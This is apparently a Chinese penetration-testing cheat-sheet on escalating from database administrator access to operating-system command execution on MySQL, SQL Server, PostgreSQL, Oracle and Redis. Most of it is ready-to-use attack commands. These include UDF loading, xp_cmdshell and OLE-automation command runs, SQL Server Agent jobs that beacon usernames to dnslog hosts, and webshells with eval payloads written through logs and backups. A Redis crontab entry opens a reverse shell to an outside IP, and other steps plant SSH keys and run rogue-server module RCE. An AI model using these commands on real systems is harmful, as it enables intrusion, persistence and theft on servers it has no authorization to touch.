前言 因为数据库提权在内网渗透也经常使用,外网也有可能出现数据库弱口令或未授权的情况,故单独摘出来,简单总结一下遇到的提权手段和版本限制
 
提权目的 从数据库的DBA权限(数据库的控制权限),提升到命令执行的权限(非root,一般是数据库用户权限)
mysql 提权 secure_file_priv限制 无论是UDF还是写文件都得有写的权限
使用select @@secure_file_priv;查看用户是否有权限 如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。(默认值) 如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出 如果secure_file_priv=”” ,MYSQL服务导入和导出不做限制
UDF UDF(user defined function)用户自定义函数 ,是 MySQL 的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用C、C++语言编写
MySQL >= 5.1  的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin文件夹 下才能创建自定义函数
查找插件库的路径show variables like '%plugin%' 
将so文件的内容解码,写入到mysql插件库目录中select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'win就是dll文件 
创建函数create function sys_eval returns string soname 'xxx.so'; 
执行系统命令select * from mysql.func;select sys_eval("whoami"); 
 
写文件的方法 现在我们已经获取了sql语句的执行权限,现在我们开始想办法上传shell
into outfile(不常用) 1 2 3 4 5 6 7 8  union  select  1 ,2 ,3 ,4 ,'<?php phpinfo() ?>'  into  outfile 'C:/wamp64/www/work/WebShell.php'  1  into  outfile 'C:/wamp64/www/work/Webshell.php'  lines terminated by  '<?php phpinfo() ?>' ;http:/ / 172.16 .55 .130 / work/ sqli-1. php?id= 1  into  outfile 'C:/wamp64/www/work/webshell.php'  lines starting by  '<?php phpinfo() ?>' ; http:/ / 172.16 .55 .130 / work/ sqli-1. php?id= 1  into  outfile 'C:/wamp64/www/work/webshell.php'  fields terminated by  '<?php phpinfo() ?>' ; 
 
写入日志(MySQL 5.0 版本以上会创建日志文件) 1 2 3 4 5 6 7 8 9 10 show  variables like  '%datadir%' ; SHOW  VARIABLES LIKE  '%general%'  set  global  general_log =  "ON"; set  global  general_log_file = 'C:/InstalledSoftware/phpstudy_pro/WWW/58/public/config.php' ; set  GLOBAL  slow_query_log= "ON"; set  GLOBAL  slow_query_log_file= 'C:/phpStudy/PHPTutorial/WWW/slow.php' ;  select  "<?php @eval($_POST[abc]); ?>" from  mysql.db where  sleep(5 ); 
 
其他位置 MOF MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003  的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行
启动项 往启动项路径里面写入脚本,可以利用 vbs  执行一些 CMD 命令
1 2 3 4 5 6 7 # Windows Server 2003 的启动项路径: C:\Documents and Settings\Administrator\Start Menu\Programs\Startup C:\Documents and Settings\All Users\Start Menu\Programs\Startup # Windows Server 2008 的启动项路径: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 
 
MSSQL(sqlserver)数据库提权 在 SQL Server 中,扩展存储过程 (Extended Stored Procedures)是允许 SQL Server 调用外部程序(通常是 DLL 文件)的机制
以下要求当前用户必须具有 DBA权限(sa用户) 
1 2 3 select  is_srvrolemember('sysadmin' );SELECT  1  where  1 = CHAR (70 + (select  IS_SRVROLEMEMBER('sysadmin' ))) 
 
xp_cmdshell(sql server 2005版本以后默认关闭) xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令,任何输出都作为文本返回
判断环境 1 2 3 4 5 6 7 8 select  count (* ) from  master.dbo.sysobjects where  xtype =  'x'  and  name =  'xp_cmdshell' ;exec  master.dbo.sp_addextendedproc xp_cmdshell,@dllname  = 'xplog70.dll' declare  @o  int ;exec  sp_addextendedproc 'xp_cmdshell' , 'xpsql70.dll' ;EXEC  sp_configure 'xp_cmdshell' ;
 
命令执行 1 2 3 4 5 6 7 8 exec  sp_configure 'show advanced options' ,1  ;reconfigure; exec  sp_configure 'xp_cmdshell' ,1  ;reconfigure; exec  master..xp_cmdshell 'whoami' ;
 
SP_OACreate(Ole Automation Procedures) OLE Automation 是一种允许应用程序通过 OLE(对象链接和嵌入)技术与其他应用程序和服务进行交互的机制。它主要用于在不同的应用程序之间实现对象的创建和操作 ,使得在一个应用程序中可以控制另一个应用程序的功能
1 2 3 4 5 6 7 8 select  count (* ) from  master.dbo.sysobjects where  xtype= 'x'  and  name= 'SP_OACREATE' ;EXEC  sp_configure 'show advanced options' ,1 EXEC  sp_configure reconfigureEXEC  sp_configure 'Ole Automation Procedures' ,1 EXEC  sp_configure reconfigure
 
执行命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 DECLARE  @object  INT , @object2  INT , @object3  INT , @str  VARCHAR (8000 )EXEC  sp_OACreate 'WScript.Shell' , @object  OUTPUTEXEC  sp_OAMethod @object , 'exec' , @object2  OUTPUT, 'cmd.exe /c whoami' EXEC  sp_OAMethod @object2 , 'StdOut' , @object3  OUTPUTEXEC  sp_OAMethod @object3 , 'readall' , @str  OUTPUTSELECT  @str ;DECLARE  @o  INT ;EXEC  sp_oacreate 'wscript.shell' , @o  OUT ; EXEC  sp_oamethod @o , 'run' , NULL , 'cmd.exe /c ping 9b1x4s.dnslog.cn' ; DECLARE  @o  INT ; DECLARE  @r  INT  =  0 ; EXEC  sp_oacreate 'wscript.shell' , @o  OUT ; EXEC  sp_oamethod @o , 'run' , NULL , 'cmd.exe /c echo "test123">e:log921.txt exit 0' ; SET  @r  =  CASE  WHEN  @@ERROR  =  0  THEN  1  ELSE  0  END ; IF @r  =  1  WAITFOR DELAY '0:0:5' ; 
 
写文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 DECLARE  @object  INT , @object2  INT EXEC  Sp_OACreate 'Scripting.FileSystemObject' , @object  OUTPUTEXEC  sp_OAMethod @object ,'CreateTextFile' , @object2  OUTPUT, 'e:\123' , 1 EXEC  sp_OAMethod @object2 , 'WriteLine' , NULL , 'test123' DECLARE  @object  INT EXEC  Sp_OACreate 'ADODB.Stream' , @object  OUTPUTEXEC  Sp_OASetProperty @object , 'Type' , 1 EXEC  sp_OASetProperty @object , 'Mode' , 3 EXEC  sp_OAMethod @object , 'Open' , NULL EXEC  sp_OAMethod @object , 'Write' , NULL , 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e EXEC  sp_OAMethod @object , 'SaveToFile' , NULL , 'e:\shell.php' , 2 EXEC  sp_OAMethod @object , 'Close' , NULL EXEC  sp_OADestroy @object 
 
Agent Job 代理执行计划任务 SQL Server Agent 默认情况下仅在 SQL Server 的 标准版 和 企业版 中启用
1 2 3 4 5 6 7 8 9 10 exec  master.dbo.xp_servicecontrol 'start' ,'SQLSERVERAGENT' ;use msdb; exec  sp_delete_job null ,'test' exec  sp_add_job 'test' exec  sp_add_jobstep null ,'test' ,null ,'1' ,'cmdexec' ,'cmd.exe /c "ping %USERNAME%.txg4wa.dnslog.cn"' exec  sp_add_jobserver null ,'test' ,@@servername exec  sp_start_job 'test' ;
 
利用备份功能写文件 获取文件路径 1 2 3 4 5 6 7 8 9 10 11 12 13 14 exec  xp_availablemedia;exec  xp_dirtree 'c:' ,1 exec  xp_subdirs "C:\\"exec  xp_dirtree 'c:' ,1 ,1 exec  xp_dirtree 'c:' CREATE  TABLE  cmdtmp (dir varchar (8000 ));insert  into  cmdtmp(dir) exec  master..xp_cmdshell 'for /r e:\ %i in (xls_lr.aspx) do @echo %i' 
 
写入shell 差异备份拿shell
1 2 3 4 5 6 7 8 9 10 11 create  database test123;backup database test123 to  disk =  'e:\bak.bak' ; use test123;  create  table  [dbo].[test] ([cmd] [image]);insert  into  test(cmd)  values (0x3C25657865637574652872657175657374282261222929253E );backup database test123 to  disk= 'e:\shell.asp'  WITH  DIFFERENTIAL,FORMAT; 
 
log备份拿shell
1 2 3 4 5 6 7 8 9 10 DROP  DATABASE test_db_9;create  database test_db_9;alter  database test_db_9 set  RECOVERY FULL ;backup database test_db_9 to  disk =  'E:\危化品管理系统2022版\PC\\test_db_9.bak' ; use test_db_9;  create  table  test_table(cmd image);insert  into  test_table(cmd) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>' );backup log test_db_9 to  disk =  'E:\危化品管理系统2022版\PC\\test9.aspx'  
 
PostgreSQL提权 PostgreSQL 是开源的关系数据库,适合需要复杂查询、高度数据完整性和扩展性的应用,如金融服务、GIS 应用
1 2 3 SELECT  setting FROM  pg_settings WHERE  name =  'data_directory' ; SELECT  setting FROM  pg_settings WHERE  name =  'config_file' ; select  inet_server_addr() 
 
写文件 1 2 3 4 copy   (select  '<?php phpinfo();?>' ) to  'C:/temp/1.php' ;select  lo_from_bytea(12349 ,'ffffffff0x' );SELECT  lo_export(12349 , '/tmp/ffffffff0x.txt' );
 
CVE-2019-9193(9.3-11.2) PostpreSQL 9.3-11.2 允许经过身份验证的superuser 或者pg_read_server_files 组用户执行任意命令(获得PostgreSQL用户权限)
1 2 3 4 5 6 7 select  *  from  current_user ;SELECT  *  FROM  pg_roles;DROP  TABLE  IF EXISTS  cmd_exec;	CREATE  TABLE  cmd_exec(cmd_output text);	COPY  cmd_exec FROM  PROGRAM 'whoami' ;	SELECT  *  FROM  cmd_exec;	
 
Oracle提权 DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。 对于普通用户:授予connect, resource权限。 对于DBA管理用户:授予connect,resource, dba权限
通过注入存储过程提权(低权限提升至DBA) 
通过utl_http.request存储过程提权 (1)创建Java包 
 
(2)创建存储过程MYJAVACMD
(3)执行存储过程,成功添加用户
redis提权 写文件 利用redis写webshell(需要知道web的绝对路径)
1 2 3 4 5 6 redis-cli -h 192.168.111.133 info  config set  dir /var/www/html config set  dbfilename shell.php set  xxx "\r\n\r\n<?php @eval($_POST [shell]);?>\r\n\r\n"  save 
 
利用redis写ssh公钥
1 2 3 4 5 6 7 (echo  -e "\n\n" ; cat /root/.ssh/id_rsa.pub; echo  -e "\n\n" ) > /root/.ssh/key.txt cat /root/.ssh/key.txt | redis-cli -h 192.168.111.133 -x set  xxx redis-cli -h 192.168.111.133 config set  dir /root/.ssh config set  dbfilename authorized_keys save 
 
利用redis写计划任务
1 2 3 4 5 redis-cli -h 192.168.111.133 set  xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.111.128/6666 0>&1\n\n" config set  dir /var/spool/cron/crontabs/ config set  dbfilename root save 
 
Redis 主从复制 写的利用redis的备份功能 ,主从复制利用的是redis 读写分离的机制 
利用一无损写文件 : 当Redis>=2.8 时,支持主从复制(master/slave模式)功能,通过主从复制Redis-slave会将Redis-master的数据库文件同步到本地python3 RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
利用二直接getshell: 在Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so)
1 2 python3 redis-rogue-server.py --rhost 192.168.111.133 --lhost 192.168.111.1 python3 redis-rce.py -r 192.168.111.133 -L 192.168.111.1 -f exp.so 
 
Redis在Windows下的利用 Windows的Redis最新版本还停留在3.2,所以利用主从复制直接getshell没戏
写web shell(前提是需要知道web的绝对路径) 
写启动项的话(需要机器重启) 
利用主从写无损文件dll劫持(Redis>=2.8)python3 RedisWriteFile.py --rhost=192.168.56.140 --rport=6379 --lhost=192.168.56.1 --rpath="C:\Windows" --rfile="mstlsapi.dll" --lfile="/tmp/mstlsapiJ.dll"